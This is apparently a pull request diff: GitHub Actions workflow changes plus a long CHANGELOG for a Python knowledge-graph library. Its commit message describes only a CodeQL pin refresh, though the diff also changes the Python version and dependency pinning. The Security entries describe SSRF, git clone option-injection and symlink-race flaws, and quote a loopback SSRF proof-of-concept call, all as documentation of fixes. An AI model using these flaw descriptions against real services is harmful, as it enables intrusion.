ci: refresh github/codeql-action pin to current v4

The pin was 5595ccaf..., but upstream has since moved the v4 tag to
ff2f1c62.... The Verify Action Pins workflow flags this drift on every
PR that touches any workflow file, regardless of whether that PR
changed codeql.yml or defender-for-devops.yml.

Verified the new SHA against the GitHub API directly (not just the CI
error text) and confirmed .github/scripts/verify-action-pins.sh passes
clean locally (40/40 action references OK, exit 0).

.github/workflows/benchmark.yml

@@ -17,10 +17,10 @@ jobs:
         with:
           fetch-depth: 0
 
-      - name: Set up Python 3.12
+      - name: Set up Python 3.11
         uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7
         with:
-          python-version: "3.12"
+          python-version: "3.11"
           cache: 'pip'
 
       - name: Install Dependencies

.github/workflows/ci.yml

@@ -42,8 +42,28 @@ jobs:
       - name: Build Explorer frontend
         working-directory: explorer
         run: npm run build
+      - name: Install pinned Python dependencies
+        run: |
+          pip install -r requirements-ci.txt
+      - name: Verify requirements-ci.txt is up to date
+        run: |
+          pip install uv==0.12.1
+          # Re-resolve with the committed file as a constraint: upstream package
+          # releases must NOT fail CI (deps only change when pyproject.toml
+          # changes intentionally). Compare only version lines (pkg==ver),
+          # ignoring the -c constraint comments and the `\` line continuations
+          # that --generate-hashes emits.
+          uv pip compile pyproject.toml --python-version 3.11 --extra all \
+            --constraint requirements-ci.txt -o /tmp/requirements-ci-check.txt
+          diff \
+            <(grep -E '^[a-zA-Z0-9._-]+==' requirements-ci.txt | sed 's/ \\$//') \
+            <(grep -E '^[a-zA-Z0-9._-]+==' /tmp/requirements-ci-check.txt)
       - run: pip install build
-      - run: python -m build
+      # wheel is build-time only (not in requirements-ci.txt) — install the
+      # same pinned version [build-system] declares so --no-isolation works.
+      - run: pip install wheel==0.48.0
+      - name: Build package (no isolation — pinned deps)
+        run: python -m build --no-isolation
       - name: Verify Explorer frontend is packaged
         run: |
           python - <<'PY'

.github/workflows/codeql.yml

@@ -32,7 +32,7 @@ jobs:
       # meaningful state carried over from a failed attempt.
       - name: Initialize CodeQL (attempt 1)
         id: codeql-init-1
-        uses: github/codeql-action/init@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
+        uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
         continue-on-error: true
         with:
           languages: python
@@ -42,7 +42,7 @@ jobs:
       - name: Initialize CodeQL (attempt 2)
         id: codeql-init-2
         if: steps.codeql-init-1.outcome == 'failure'
-        uses: github/codeql-action/init@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
+        uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
         continue-on-error: true
         with:
           languages: python
@@ -52,17 +52,17 @@ jobs:
       - name: Initialize CodeQL (attempt 3)
         id: codeql-init-3
         if: steps.codeql-init-2.outcome == 'failure'
-        uses: github/codeql-action/init@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
+        uses: github/codeql-action/init@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
         with:
           languages: python
           queries: security-and-quality
           config-file: .github/codeql/codeql-config.yml
 
       - name: Autobuild
-        uses: github/codeql-action/autobuild@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
+        uses: github/codeql-action/autobuild@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
 
       - name: Perform CodeQL Analysis
-        uses: github/codeql-action/analyze@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
+        uses: github/codeql-action/analyze@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
         with:
           category: "/language:python"
           upload: false
@@ -72,7 +72,7 @@ jobs:
         # Uploads results only when Default Setup is not active.
         # If Default Setup is still enabled, this step skips gracefully
         # instead of failing the workflow with HTTP 409.
-        uses: github/codeql-action/upload-sarif@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
+        uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
         with:
           sarif_file: ${{ steps.codeql.outputs.sarif-output }}
           category: "/language:python"

.github/workflows/defender-for-devops.yml

@@ -57,7 +57,7 @@ jobs:
         # avoiding the guardian.cmd/checkov exit-code bug in the MSDO wrapper.
         tools: eslint,templateanalyzer,terrascan
     - name: Upload results to Security tab
-      uses: github/codeql-action/upload-sarif@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
+      uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
       with:
         sarif_file: ${{ steps.msdo.outputs.sarifFile }}
 
@@ -82,7 +82,7 @@ jobs:
         }
 
     - name: Upload Checkov results to Security tab
-      uses: github/codeql-action/upload-sarif@5595ccaf912efad79be6eef63a5619ff05969be3 # v4
+      uses: github/codeql-action/upload-sarif@ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd # v4
       if: always()
       with:
         sarif_file: reports/checkov.sarif

.github/workflows/release.yml

@@ -36,8 +36,16 @@ jobs:
         run: |
           npm ci
           npm run build
+      # Install the pinned dependency set (with hashes) so the sdist/wheel
+      # build runs against the same versions CI tests against.
+      - name: Install pinned build dependencies
+        run: pip install -r requirements-ci.txt
       - run: pip install build
-      - run: python -m build
+      # wheel is build-time only (not in requirements-ci.txt) — install the
+      # same pinned version [build-system] declares so --no-isolation works.
+      - run: pip install wheel==0.48.0
+      - name: Build package (no isolation — pinned deps)
+        run: python -m build --no-isolation
       - name: Verify Explorer frontend is packaged
         run: |
           python - <<'PY'

.github/workflows/security-scan.yml

@@ -45,11 +45,14 @@ jobs:
       - name: Install dependencies
         run: |
           python -m pip install --upgrade pip
+          # Install the pinned dependency set FIRST so Safety scans Semantica's
+          # exact CI/release dependency tree (requirements-ci.txt is generated
+          # from pyproject.toml extras, so this covers the project's real deps).
+          pip install -r requirements-ci.txt
+          # Tooling AFTER the pinned set: installing safety/bandit/semgrep/jq
+          # first lets the pinned requirements overwrite their transitive deps
+          # (e.g. rich), which breaks the safety CLI at runtime.
           pip install safety bandit semgrep jq
-          # Install the project itself (core deps + the LiteLLM provider extra)
-          # so Safety scans Semantica's actual dependency tree, not just the
-          # scanner tools' own dependencies.
-          pip install -e ".[llm-litellm]"
 
       - name: Run Safety Check (Package Vulnerabilities)
         run: |

.github/workflows/security.yml

@@ -4,6 +4,12 @@ on:
   schedule:
     - cron: '0 0 * * 1'
   workflow_dispatch:
+  pull_request:
+    branches: [main]
+    paths:
+      - 'pyproject.toml'
+      - 'requirements-ci.txt'
+      - '.github/workflows/security.yml'
 
 permissions:
   contents: read
@@ -16,6 +22,21 @@ jobs:
       - uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97 # v7
         with:
           python-version: '3.11'
+      # Upgrade first: actions/setup-python's baked-in setuptools has been
+      # behind known-vulnerable floors before (e.g. PYSEC-2026-3447 /
+      # setuptools 75.1.0), so don't trust the preinstalled one.
+      - run: python -m pip install --upgrade pip setuptools
+      # Audit the pinned dependency set (requirements-ci.txt is compiled from
+      # pyproject.toml with --extra all — the same coverage as the [all]
+      # extra, minus the Linux-only gpu set — so this keeps scan parity with
+      # CI/release builds without a time-dependent resolution). This is the
+      # fix for PYSEC-2024-38 (#869): the bare-env job never had fastapi or
+      # python-multipart installed to look at.
+      - run: pip install -r requirements-ci.txt
+      # PR runs gate on findings, since they're scoped to actual
+      # pyproject.toml changes under review. The schedule/workflow_dispatch
+      # runs stay non-blocking until a full pass over pre-existing findings
+      # across the whole [all] tree has been done.
       - run: pip install pip-audit
-      - run: pip-audit
-        continue-on-error: true
+      - run: pip-audit -r requirements-ci.txt
+        continue-on-error: ${{ github.event_name != 'pull_request' }}

CHANGELOG.md

@@ -9,6 +9,144 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
 
 ## [Unreleased]
 
+### Added
+
+- **`DistanceExporter.compute_pairs()` gains an opt-in `metric_errors` column to distinguish legitimate `None` results from computation failures** (#960, follow-up to #879) by @Karunasagar12
+  - Previously, a `None` in `hop_count`/`weighted_distance`/`semantic_similarity`/betweenness could mean either "no path exists" or "the underlying computation raised" — logged as a warning per #879, but not otherwise surfaced, so the two cases were indistinguishable in exported CSV/JSONL/DataFrame data. `include=["metric_errors"]` now adds a `metric_errors` field per row: `""` when all requested metrics succeeded, or a comma-separated list of metric names that raised (e.g. `"hop_count,weighted_distance"`)
+  - Opt-in only — default `compute_pairs()`/`to_csv()`/`to_dataframe()`/`to_jsonl()` schema is unchanged unless `"metric_errors"` is explicitly requested
+  - The four metric helpers (`_betweenness`, `_hop_distance`, `_weighted_distance`, `_semantic_similarity`) now return `(value, error_name | None)` tuples internally; `compute_pairs()` aggregates the error names per row
+  - **Fixed during review** (Qodo): `_betweenness()` failures weren't tracked into `metric_errors` in the initial version — centrality computation could raise and the column would still report `""`. Now returns its error tuple like the other three helpers
+  - **Known limitation**: `include=["metric_errors"]` with no other metric names computes nothing, so the column is always `""` in that case — pass it alongside the metrics you want tracked, e.g. `include=["hop_count", "metric_errors"]`
+  - New `tests/export/test_distance_exporter_metric_errors.py`: 6 tests covering success, single/multiple failures, opt-out, the no-path-vs-error distinction, and default-schema stability; existing `tests/export/test_distance_exporter.py` updated for the new tuple return type
+  - Full `tests/export/` suite: 77 passed
+
+### Changed
+
+- **`GraphBuilder`'s 6 public methods now have Google-style docstrings** (#878, closes #876) by @cakeni
+  - `semantica/kg/graph_builder.py`'s `build`, `build_single_source`, `add_temporal_edge`, `create_temporal_snapshot`, `query_temporal`, and `load_from_neo4j` — the core knowledge-graph construction API, imported directly by callers — previously had zero docstrings across all 6 methods, the only file in a 10-file audit sample with that gap, despite CONTRIBUTING.md requiring Google-style `Args`/`Returns`/`Raises`/`Example` docs for public methods. Added full docstrings for all 6, plus the previously undocumented `build_single_source`, with runnable (`# doctest: +SKIP`) usage examples
+  - **Corrected during review**: `query_temporal`'s docstring claimed the query text was used to filter the graph; the implementation only records it in the result (`results = {"query": query, ...}`) with no interpretation or filtering. Corrected to state that explicitly
+  - **Corrected during review**: `create_temporal_snapshot`'s docstring implied entities were filtered for validity at the snapshot timestamp like relationships are; the implementation copies all entities unfiltered and only filters `relationships` by `valid_from`/`valid_until`. Docstring now distinguishes the two
+  - **Corrected during review**: `add_temporal_edge`/`create_temporal_snapshot` docstrings overclaimed numeric-timestamp support; `_parse_time()` only special-cases `str` and `datetime`, falling back to a bare `str()` cast for anything else (not true numeric parsing). Narrowed to "datetime or ISO-formatted string"
+  - **Fixed along the way**: `build()`'s `**options` documented a default only for `extract`; `extract_relations`, `extract_triplets`, `ner_method`, `relation_method`, and `triplet_method` all have concrete defaults in `_extract_from_text()` (`True`, `True`, `"llm"`, `"llm"`, `"llm"`) that were left unstated, inconsistent with CONTRIBUTING.md's own docstring example of noting defaults inline
+  - `python -m pytest tests/kg/test_kg.py tests/kg/test_graph_builder_external.py -q`: 45 passed
+- **`GraphBuilder` raw-text extraction now defaults to local extractors instead of LLM extraction** (closes #930) by @dex0shubham
+  - `GraphBuilder._extract_from_text()` defaulted `ner_method`, `relation_method`, and `triplet_method` to `"llm"`, and ran relation extraction unconditionally (`extract_relations` defaulted to `True`) — all four contradicting the defaults documented in the `build()` docstring at the time (`"ml"` / `"pattern"` / `False`), and diverging from the standalone extractors (`NERExtractor` defaults to `method="ml"`, `RelationExtractor` and `TripletExtractor` to `method="pattern"`). The practical effect was that any raw-text `build()` call silently required a configured provider, an API key, and network access
+  - Defaults are now `ner_method="ml"`, `relation_method="pattern"`, `triplet_method="pattern"`, and `extract_relations=False`, matching the docstring. LLM extraction remains fully available and is now opt-in
+  - **To restore the previous behaviour**, pass the methods explicitly:
+    ```python
+    builder.build(
+        sources,
+        ner_method="llm",
+        relation_method="llm",
+        triplet_method="llm",
+        extract_relations=True,
+    )
+    ```
+  - #878 landed in the meantime and resolved the same mismatch in the opposite direction, documenting the LLM values (`"llm"` / `"llm"` / `"llm"`, `extract_relations: True`) as the contract. Per the decision on #930 the code is the side that changes, so those docstring defaults are corrected here to `"ml"` / `"pattern"` / `"pattern"` / `False`, keeping #878's formatting
+  - Removed the stale `# Default to LLM methods as per requirement` comment, which read as an intentional decision but did not match the documented contract
+  - **Fixed along the way**: `_extract_from_text()` constructed a fresh extractor for every text, and `NERExtractor.__init__` loads its spaCy model eagerly when the method includes `"ml"` — so with the new default, a multi-document build would have reloaded the model once per source. Extractors are now built once per `(kind, method)` and reused for the lifetime of the builder, via `GraphBuilder._get_extractor()`. This path was previously unreachable by default because the old `"llm"` default never touched spaCy
+  - **Fixed along the way**: `_extract_from_text()` never forwarded its extracted relations to triplet extraction — it passed only `entities=`, so `TripletExtractor` re-derived relations itself (via a method taken from `triplet_method`) whenever `relations is None`, duplicating work and producing triplets that could disagree with the relations already extracted using `relation_method`. Relations are now passed through as `relations=`; when relation extraction is disabled or fails, `None` is forwarded and `TripletExtractor` keeps its existing self-derivation behaviour
+  - **Fixed along the way**: `GraphBuilder._extraction_stats` was only initialised inside `build()`, so calling `_extract_from_text()` directly raised an `AttributeError` that the extraction path's broad `except` swallowed and reported as `"Entity extraction failed"`. It is now seeded in `__init__` as well; `build()` still resets it per run
+  - New regression coverage in `tests/kg/test_graph_builder_extraction_defaults.py` pinning all four defaults, verifying that no default resolves to `"llm"`, confirming explicit LLM opt-in still routes correctly, asserting extractors are constructed once across repeated texts, covering fallback method lists (e.g. `ner_method=["pattern", "ml"]`) for all three extractors, asserting relations are forwarded to triplet extraction (and that `None` is forwarded when relation extraction is disabled or fails), and running the real default path end to end with no provider mocked. Verified to fail against the pre-fix code
+  - Full `kg` suite: 473 passed
+
+### Fixed
+
+- **Explorer UI hid backend failures: graph load hung forever, landing page always showed "System Online"** (#980, closes #977) by @ZohaibHassan16, reviewed by @Sameer6305
+  - `GraphWorkspace.tsx` only destructured `{ data, isLoading, isFetching }` from `useLoadGraph()`, ignoring the `isError`/`error`/`refetch` that `useQuery` (`retry: 0`) already returned. Combined with `GraphLoadingOverlay` having no error prop and `showLoadingOverlay` staying true whenever `loadingProgress` held a stale frame, a backend-down or failed fetch left the graph workspace stuck on the last progress frame indefinitely, with no error message and no way to recover short of a full page reload
+  - `GraphLoadingOverlay` now accepts `error`/`onRetry` and renders an error card with the real fetch error message and a Retry button (`refetch()`) instead of the stuck progress UI
+  - The landing page's `WelcomeScreen` replaced its hardcoded `ready: boolean` (and hardcoded "System Online" text) with a real `checking` / `online` / `offline` status derived from the same connectivity probe already driving the 4th metric card, so the status dot, text, and metric can no longer drift apart or lie about connectivity
+  - **Smaller fixes bundled in the same PR**: search results are now dismissible (previously stayed open indefinitely, pushing the graph down); relevance scores display as rounded whole numbers instead of `96.900`/`138.000`; added a debounced (250ms) typeahead combobox to graph search with arrow-key navigation, `aria-activedescendant`, and Escape-to-close, using the existing `/api/graph/search` endpoint
+  - **Fixed during review** (Qodo): the typeahead's debounced fetch had no `AbortController`, so a fast-typing user could have a stale suggestion response resolve after a newer one, replacing correct suggestions with outdated ones. In-flight requests are now aborted on every re-debounce and when the query is cleared after a selection
+  - **Noted during review** (@Sameer6305): `GraphWorkspaceShell.tsx` contains a third, unused implementation of the same graph-loading/error-handling logic this PR fixes — the issue itself named "two copies that drifted apart" as the root cause the original bug slipped through. Deliberately left out of this PR's scope and tracked separately in #981 rather than blocking this fix
+  - `npx tsc -b`: clean; `test:graph-store`/`test:graph-workspace`/`test:plugin-registry`: 42 passed; `npm run build`: succeeds
+
+- **Markdown import hardened against TOCTOU symlink races during file reads** (#932, closes #856) by @lakshanmuruganandam, with fixes by @Sameer6305
+  - `AgentMemory._read_markdown_path` read files via `Path.read_text()` after a `Path.is_symlink()` pre-check, leaving a time-of-check/time-of-use window: a path validated as a regular file could be swapped for a symlink before the actual read, causing the importer to follow the link and read an unintended target
+  - Reads now go through a new `_read_markdown_file_content()` helper: the path is opened via low-level `os.open()` with `os.O_NOFOLLOW` on platforms that support it (POSIX), so a symlink substituted after validation fails atomically with `ELOOP` instead of being followed; the resulting file descriptor is then verified with `os.fstat()`/`stat.S_ISREG()` to reject non-regular files (FIFOs, devices) even after a successful open
+  - Directory imports now also exclude symlinked entries from the file listing (`not file_path.is_symlink()`), consistent with the single-file path already rejecting them
+  - **Known limitation**: Windows has no `os.O_NOFOLLOW`, so on that platform the only defense is the earlier `is_symlink()` pre-check, leaving a narrow TOCTOU window; documented inline rather than implying a stronger cross-platform guarantee than the implementation provides
+  - New `tests/context/test_agent_memory_markdown.py` coverage: rejecting a symlinked path at both the private helper and the public `import_data()` API, silently excluding symlinked entries during directory import, and the `fstat()`/`S_ISREG` guard against non-regular files (mocked FIFO)
+  - `pytest tests/context/test_agent_memory_markdown.py`: 46 passed, 4 skipped (symlink-creation tests skip on Windows without `SeCreateSymbolicLinkPrivilege`)
+
+- **`VectorManager.maintain_store()`/`collect_statistics()` crashed with `AttributeError` on persistent `VectorStore` backends** (#914, closes #855) by @yunaremaia, with fixes by @Sameer6305
+  - Both methods accessed `store.vectors`/`store.metadata` directly, which are only initialized for the `inmemory` backend — any persistent backend (FAISS, Qdrant, Pinecone, Milvus, SQLite, PgVector, Weaviate) crashed immediately. Same root cause as the #839/#843/#845/#848 cluster, but `VectorManager` operates on a `VectorStore` instance from the outside, so the fix needed a public accessor rather than another internal guard
+  - Added a backend-agnostic `VectorStore.count()`: the `inmemory` backend counts its local dict; persistent backends delegate to a `count()` on the wrapped backend store when one exists, or raise `NotImplementedError` — following the `get_vector()`/`get_metadata()` precedent from #843, a missing/uninitialized backend store is never silently reported as an empty, healthy store
+  - `maintain_store()` and `collect_statistics()` now go through `store.count()` instead of touching `.vectors`/`.metadata`
+  - **Fixed during review** (@Sameer6305): the initial version had `count()` implemented at the dispatch level only, with no shipped backend actually providing one, and `maintain_store()` manufactured a vacuous `metadata_count == vector_count` tautology for persistent backends (always reporting `healthy: True` without checking anything). Added real `count()` implementations to `FAISSStore` (`len(index.vector_ids)` — FAISS has no delete path, so this list is always consistent with the index), `SQLiteVecStore`, and `PgVectorStore` (both via `SELECT COUNT(*)`); `Qdrant`/`Pinecone`/`Milvus`/`Weaviate` continue to raise `NotImplementedError` since none of them guarantee a cheap, reliable synchronous count. `maintain_store()` now reports `metadata_count: None` for persistent backends instead of the fabricated equality, with `healthy` meaning "store is reachable," not "metadata verified"
+  - Two earlier Qodo findings (a count() path that silently returned 0 for a missing backend store, and an unvalidated `hasattr` check that could raise `TypeError` on a mis-shaped adapter) were fixed before this review — replaced with `NotImplementedError` and a `getattr`+`callable()` capability check, respectively
+  - New `tests/vector_store/test_vector_manager_persistent.py`: dispatch-level tests for `count()` (inmemory, delegation, missing backend, non-callable `count`, mis-shaped adapter), full `VectorManager` inmemory semantics including divergence detection, persistent-backend dispatch tests, and backend-specific tests against real/mocked FAISS, SQLite (`sqlite-vec`, skipped if unavailable), and PgVector stores
+  - Core `vector_store` suite: 40 passed
+
+- **`ContextGraph.get_node_property`/`get_node_attributes` "not found" contract clarified; `add_node_attribute` mutation-callback exception safety fixed** (#882, closes #877) by @ZohaibHassan16
+  - `get_node_property` returned `None` for both "node missing" and "property missing" with no way to distinguish them, and `get_node_attributes` returned `{}` for a missing node while its siblings disagreed on the not-found signal (`get_node_property`/`find_node` → `None`, `get_edge_data` → `{}`). Both now accept a `default=` parameter matching `dict.get()`'s convention, defaulting to their historical return values (`None` and `{}` respectively) for backward compatibility. Callers that need to disambiguate "node missing" from "value legitimately absent" can pass a private sentinel as `default`
+  - Added Google-style docstrings to `get_node_property`, `get_node_attributes`, `get_edge_data`, and `find_node` documenting each method's not-found contract, addressing #877's "sibling not-found contract undocumented" gap
+  - **Corrected during review**: the PR as submitted claimed to fix `add_node_attribute` firing its `mutation_callback` "outside `with self._lock`, without holding the lock," but the diff only removed a stray blank line — the callback call remained outside the lock, unchanged. Further investigation found this was not actually a bug: `self._lock` is a `threading.RLock`, and the same release-the-lock-before-invoking-the-callback pattern is used deliberately in `_add_internal_node`/`_add_internal_edge` elsewhere in this class, avoiding holding the lock for the duration of an arbitrary user-supplied callback. The real inconsistency was that, unlike those two siblings, `add_node_attribute`'s callback call wasn't wrapped in `try/except` — a raising callback propagated uncaught here but was caught and logged there. Now wrapped the same way (`except Exception as e: self.logger.warning(...)`)
+  - 13 tests covering happy path, missing node, missing property, sentinel disambiguation, falsy-zero, callback firing/non-firing, and (added during review) a raising callback no longer propagating out of `add_node_attribute`
+  - `pytest tests/context/test_context.py -q`: 27 passed
+
+- **Three `tests/normalize/` tests failed for reasons unrelated to the normalize implementations: a missing optional-dependency skip guard, an incomplete chardet allowlist, and a UTC/local timezone mismatch** (#881, closes #860) by @aoright
+  - `test_detect_language`/`test_detect_with_confidence` in `tests/normalize/test_language_detector.py` asserted on real `langdetect` output with no skip guard, even though `langdetect` is an optional dependency absent from `pyproject.toml` that `LanguageDetector` already degrades gracefully without (`LANGDETECT_AVAILABLE = False`, falls back to `default_language`) — any environment without it failed both tests unconditionally, including a fresh CI run without optional extras installed. Both are now gated with `@unittest.skipUnless(LANGDETECT_AVAILABLE, ...)`
+  - `test_detect_encoding` in `tests/normalize/test_encoding_handler.py` asserted `chardet.detect()`'s result against a 3-name allowlist (`iso-8859-1`/`windows-1252`/`latin-1`); on a short Latin-1 sample, chardet is free to return other compatible single-byte codepages (e.g. `windows-1253`), which fails the allowlist and then cascades into `test_convert_to_utf8` decoding the bytes as Greek instead of the original text. The test now uses a longer, unambiguous Latin-1 corpus and asserts that the detected encoding round-trip-decodes the original text instead of matching a fixed name list; `test_convert_to_utf8` now passes `source_encoding="latin-1"` explicitly rather than relying on chardet's heuristic auto-detection
+  - `test_normalize_date_relative` in `tests/normalize/test_date_normalizer.py` compared `RelativeDateProcessor`'s local-clock-based `"today"` (`datetime.now()`, naive, UTC-normalized after the fact by `convert_to_utc()`) against a separately-computed UTC reference date — failing intermittently in any timezone east of UTC whenever the local and UTC dates diverge for part of the day. The test now patches `datetime.now()` to a fixed reference time, making the assertion independent of host timezone
+  - `pytest tests/normalize`: 77 passed, 2 skipped (`langdetect` not installed); `black`/`isort`/`flake8 --max-line-length=88` clean on all three changed files. Test-only change; no production code touched
+
+- **MCP server reported a stale `0.4.0` version instead of the installed package version** (#870, closes #863) by @oiahoon
+  - `semantica/mcp_server/__init__.py` hardcoded `"version": "0.4.0"` in both the MCP `initialize` response (`SERVER_INFO`) and the `semantica://schema/info` resource, regardless of the actual installed `semantica` version — every MCP client (Claude Desktop, Windsurf, Cline, Continue, VS Code Copilot, etc.) showed the wrong server version. Both surfaces now derive from `semantica.__version__`, the package's authoritative version source, so they can no longer drift from `pyproject.toml`
+  - New regression coverage in `tests/test_mcp_server_version.py`, including `!= "0.4.0"` canaries and a cross-surface consistency check
+  - **Fixed along the way**: the separate root-level `mcp/` package (`mcp/__init__.py`, `mcp/server.py`, `mcp/resources/registry.py`) — a companion MCP server implementation not included in the built distribution, but documented in `mcp/__init__.py` as a supported way to run against Claude Desktop/Windsurf/etc. from a source checkout — had the same three hardcoded `0.4.0` literals; fixed the same way, with matching regression tests in `tests/test_mcp_package_version.py`
+
+- **`VectorStore._filter_by_metadata()` `AttributeError` on all persistent backends** (#857, closes #849) by @TaherTadpatri
+  - `_filter_by_metadata()` iterated `self.metadata` directly, which only exists on the `inmemory` backend — any persistent backend (`faiss`, `qdrant`, `pinecone`, `milvus`, `pgvector`, `sqlite`, `weaviate`) crashed with `AttributeError` on `filter_decisions(query=None, ...)` / metadata-only filtering. Filtering is now delegated to a native `filter_by_metadata()` implemented on each backend store, using backend-native payload/SQL/JSON filtering (Qdrant `scroll()`, Pinecone `query()`, Milvus expression filters, PostgreSQL JSONB, SQLite `json_extract()`, Weaviate collection filters)
+  - **Fixed along the way**: `PineconeStore.get_index()` and `filter_by_metadata()` called a nonexistent `self.describe_index_stats()` on the store itself (the method only exists on the `PineconeIndex` wrapper returned by `self.index`); the resulting `AttributeError` was silently swallowed, so dimension auto-detection always failed quietly. Now correctly calls `self.index.describe_index_stats()`
+  - **Fixed along the way**: `PineconeStore.filter_by_metadata()` probed for filter-only matches using an all-zero dummy query vector, which Pinecone rejects for cosine-metric indexes — the library's own default — making metadata-only filtering silently non-functional out of the box. Now uses a unit vector instead
+  - **Fixed along the way**: `PgVectorStore.filter_by_metadata()`'s list-filter branch formatted boolean values with `str(v)` (`'True'`/`'False'`), never matching PostgreSQL JSONB's lowercase `'true'`/`'false'` text rendering, even though the equivalent scalar-filter branch already handled this correctly
+  - **Fixed along the way**: list-valued metadata fields (e.g. `{"tags": ["python", "js"]}`) could never match a list filter on the SQLite or PostgreSQL backends, because both extracted the whole array as its JSON/text representation instead of matching individual elements — silently diverging from the in-memory backend's set-intersection semantics. SQLite now uses `json_each()` over a `json_type`-guarded array/scalar wrapper; PostgreSQL now uses the `?|` "any array element" operator alongside the existing scalar `= ANY(...)` path
+  - **Fixed along the way**: `FAISSStore.filter_by_metadata(limit=0)` returned one result instead of zero, because the limit check ran after appending the current match
+  - **Fixed along the way**: `MilvusStore`'s metadata expression builder rendered `NaN`/`Infinity` filter values as bare unquoted tokens, producing an invalid Milvus expression whose server-side rejection was then swallowed by a broad `except`, indistinguishable from "no matches"; these values are now rejected up front with a clear `ValidationError`
+  - New/expanded test coverage in `tests/vector_store/test_backend_metadata_filtering.py` (all 7 backends, including the Pinecone dimension/zero-vector, PgVector boolean-list, FAISS `limit=0`, and Milvus `NaN` regressions) and `tests/vector_store/test_sqlite_vec_store.py` (new `TestSQLiteVecStoreFilterByMetadata`, run against the real `sqlite-vec` extension, including the array-vs-scalar intersection case)
+
+- **`DistanceExporter` silently swallowed metric computation failures, exporting `None` values indistinguishable from a legitimate "no path" result** (#879, closes #874) by @AmirF194
+  - `_betweenness`, `_hop_distance`, `_weighted_distance`, and `_semantic_similarity` each caught `Exception` and returned their sentinel (`None`/`{}`) with no logging; a failed computation and a real "no path exists" looked identical in exported CSV/JSONL/DataFrame data. All four now log a `warning` with `exc_info=True` before returning the sentinel; exported row shape and values are unchanged
+  - **Fixed along the way**: the module logger was built with `get_logger(__name__)`, which double-prefixed it to `semantica.semantica.export.distance_exporter` — a name `setup_logging()` never configures — so this module's logging (including a pre-existing `logger.debug` call) was silent regardless. Now uses `get_logger("export.distance_exporter")`, matching every other exporter in the module
+  - New regression coverage in `tests/export/test_distance_exporter.py`: warnings fire on exception for all four helpers, exported sentinel values/shape stay unchanged, and the legitimate "no KG backend" `None` path still logs nothing
+  - Full `tests/export/` suite: 71 passed
+
+### Security
+
+- **`FeedIngestor`/`FeedMonitor` (RSS/Atom feed ingestion) had no SSRF protection, allowing requests to internal/private network targets** (#928, closes #927) by @ZohaibHassan16
+  - `FeedIngestor.ingest_feed()`, `discover_feeds()` (link-tag fetch, common-path HEAD probe, and feed-validation GET), and `FeedMonitor.check_updates()` all called `requests.get()`/`requests.head()` directly with default redirect-following and no scheme allowlist or private/loopback/link-local IP validation — despite `semantica/ingest/ssrf.py`'s `request_with_ssrf_guard()` already existing and being used by `web_ingestor.py`/`api_ingestor.py`. `ingest_feed()`'s own URL check only verified `urlparse(url).scheme`/`.netloc` were non-empty, never that the scheme was http/https or that the resolved target IP was safe. Reachable via the public `ingest_feed()`/`ingest()` entry points with any caller-supplied feed URL
+  - All 5 call sites now route through `request_with_ssrf_guard()`, which validates scheme (http/https only) and resolved IP before the request, and re-validates every redirect `Location` before following it — closing both the direct-IP and redirect-chain SSRF paths. Added an `allow_private_ips` config option to both `FeedIngestor` and `FeedMonitor`, consistent with the other ingestors
+  - **Fixed during review** (Qodo): `test_discover_feeds_empty` mocked `requests.get`, which no longer executes now that the code path goes through `request_with_ssrf_guard()` (backed by `requests.request`) — the test was passing without exercising the real code. Corrected to mock `requests.request` and `socket.getaddrinfo`
+  - `pytest tests/ingest/test_feed_ingestor.py`: 12/12 passed. Independently reproduced the issue's own PoC (`FeedIngestor().ingest_feed("http://127.0.0.1:8765/feed.xml")` against a live local server) and confirmed it now raises `ValidationError` instead of succeeding
+  - **Known limitation carried over from `discover_feeds()`'s pre-existing design**: its common-path and feed-validation loops use a blanket `except Exception: continue`, which now also silently absorbs `ValidationError` from a blocked candidate URL the same way it already absorbed network failures — the request is still correctly blocked before reaching the network, so this is not an SSRF bypass, just a missed opportunity to log "blocked as SSRF target" distinctly from "unreachable"
+
+- **`RepoIngestor` clone surface hardened against GitPython URL/option injection** (#905, closes #868) by @pravit-amp
+  - `RepoIngestor.ingest_repository()` passed the caller-supplied repository URL and arbitrary `**options` straight through to `git.Repo.clone_from()` on a `GitPython>=3.1.50` floor predating hardening for `ext::`-style transport helpers and `$VAR`/`${VAR}` environment-variable expansion in clone URLs — unvalidated clone options (`upload_pack`, `multi_options`, `template`, `config`, `env`, ...) could be abused for command execution, and unvalidated hostnames allowed SSRF against internal services (e.g. cloud metadata endpoints)
+  - `GitPython` floor raised to `>=3.1.58`
+  - Clone options passed to `clone_from()` are now allowlisted to `{depth, branch, single_branch, no_tags}`; anything else raises `ValidationError` before the clone is attempted
+  - Repository URLs are validated before cloning: scheme allowlist (`https`, `http`, `git`, `ssh`), rejection of `$VAR`/`${VAR}` tokens, and hostname resolution with every returned address screened against private/loopback/link-local/unspecified ranges. scp-like SSH remotes (`user@host:path`) are recognized and normalized to `ssh://` before the clone call
+  - **Fixed during review** (@Sameer6305): the SSRF check originally used `ip.is_reserved`, which flags the NAT64 Well-Known Prefix (`64:ff9b::/96`, RFC 6052) as reserved — falsely blocking `github.com` and other public hosts on IPv6-only/dual-stack networks using NAT64. Narrowed the block list to private/loopback/link-local/unspecified only
+  - **Fixed during review** (@Sameer6305): local filesystem repository paths (`git clone /path/to/local/repo`) were being treated as remote URLs and rejected outright; local paths now bypass network validation entirely since they make no network requests and carry no SSRF risk
